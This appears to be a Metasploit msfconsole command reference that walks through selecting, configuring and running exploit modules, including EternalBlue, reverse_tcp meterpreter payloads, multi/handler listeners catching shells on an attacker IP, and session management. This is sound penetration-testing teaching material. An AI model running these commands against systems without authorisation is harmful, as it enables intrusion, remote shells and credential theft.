The msfconsole workflow is a loop: select a module, configure it, run it, deal with the result. Six commands cover 90% of what you do — use, show, set, run, sessions, jobs. Everything else is sugar on top.

use — Select a Module

use exploit/windows/smb/ms17_010_eternalblue
use 2                                 # shorthand for the Nth search result
use auxiliary/scanner/smb/smb_login

The prompt changes to reflect the module: msf6 exploit(ms17_010_eternalblue) >. From here, options, targets, and payloads all scope to this module.

show — Inspect Context

show options           # required/optional settings for current module
show missing           # only options still missing
show targets           # compatible target OS/version list
show payloads          # payloads compatible with current exploit
show advanced          # advanced tunables (timeouts, SSL, headers)
show evasion           # evasion tweaks exposed by the module
show info              # same as `info`

show options is the one you’ll run most. show missing is faster once you’re close to running.

info — Read Before You Fire

info                                           # on the loaded module
info exploit/windows/smb/ms17_010_eternalblue  # without loading

info tells you:

  • CVE, disclosure date, references
  • Reliability rank (excellent / great / normal / average / low / manual)
  • Target list and default
  • Known limitations (common: “may crash the target on failure”)

Rank matters

average / low ranks indicate unreliable exploits that can crash services. Avoid on production without a change window.

set and setg — Configure Options

set RHOSTS 10.10.11.5
set RHOSTS 10.10.11.0/24           # CIDR
set RHOSTS file:/tmp/hosts.txt     # from file
set LHOST tun0                     # interface name works
set LPORT 4444
set payload windows/x64/meterpreter/reverse_tcp
 
setg LHOST 10.10.14.5              # global — persists across modules & restarts
setg RHOSTS 10.10.11.0/24
 
unset RHOSTS                       # clear one
unsetg LHOST                       # clear global
save                               # persist current globals

setg is a huge time-saver for LHOST, LPORT, and RHOSTS when you’re hopping between modules.

Payload and Target Selection

show targets
set target 0                        # 0 is usually auto-detect
set target 2                        # manual: specific OS/service-pack
 
show payloads
grep meterpreter show payloads      # filter inline
set payload windows/x64/meterpreter/reverse_tcp

Auto-target (0) works when the module can fingerprint the service. If you already know the OS + architecture + language pack, pick manually — exploits that rely on return addresses are extremely picky about this.

run / exploit / check

check                 # non-destructive vuln check (if supported)
run                   # execute
exploit               # synonym for run on exploit modules
run -j                # run as background job (handlers, servers)
run -z                # don't interact with new session automatically
exploit -j -z         # most common for multi/handler

run -j is essential for multi/handler and server modules — otherwise they block the prompt.

back — Exit the Module Context

back                  # return to the base msf6 > prompt

Also happens automatically if you use another module.

sessions — Active Connections

sessions              # same as -l
sessions -l           # list all
sessions -l -v        # verbose (shows checkin times, info)
sessions -i 1         # interact with session 1
sessions -k 1         # kill session 1
sessions -K           # kill all sessions
sessions -u 1         # upgrade shell → meterpreter
sessions -c "whoami"  # run command on all sessions
sessions -C "sysinfo" # run meterpreter command on all meterpreter sessions

From inside a session, background (or Ctrl+Z) drops you back to msfconsole with the session still live.

Upgrade to meterpreter

A shell session gives you cmd.exe or /bin/sh. Meterpreter gives you file transfer, port forwarding, hash dumping, and migration. If you catch a raw shell, run sessions -u <id> to upgrade.

jobs — Background Tasks

jobs                  # list (same as -l)
jobs -l
jobs -k 0             # kill job 0
jobs -K               # kill all
jobs -i 0             # info on job 0

Handlers started with run -j show up here. Kill stale handlers before starting new ones on the same port.

Multi/Handler — Catching Shells

The go-to listener for any out-of-band payload (msfvenom-generated, uploaded webshell, etc.).

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set ExitOnSession false      # keep handler alive after first connect
run -j

The payload here must match exactly the one you built with msfvenom (same payload string, same LHOST/LPORT, same stager-vs-stageless choice).

Other Useful Commands

spool /tmp/msf.log            # log everything to file
spool off
makerc /tmp/last.rc           # export recent commands to a resource script
resource /tmp/last.rc         # replay a resource script
history                        # command history
banner                         # change banner (cosmetic)
connect 10.10.11.5 22          # built-in netcat
irb                            # drop into a Ruby shell (API access)

makerc + resource is how you turn ad-hoc exploitation into a repeatable playbook.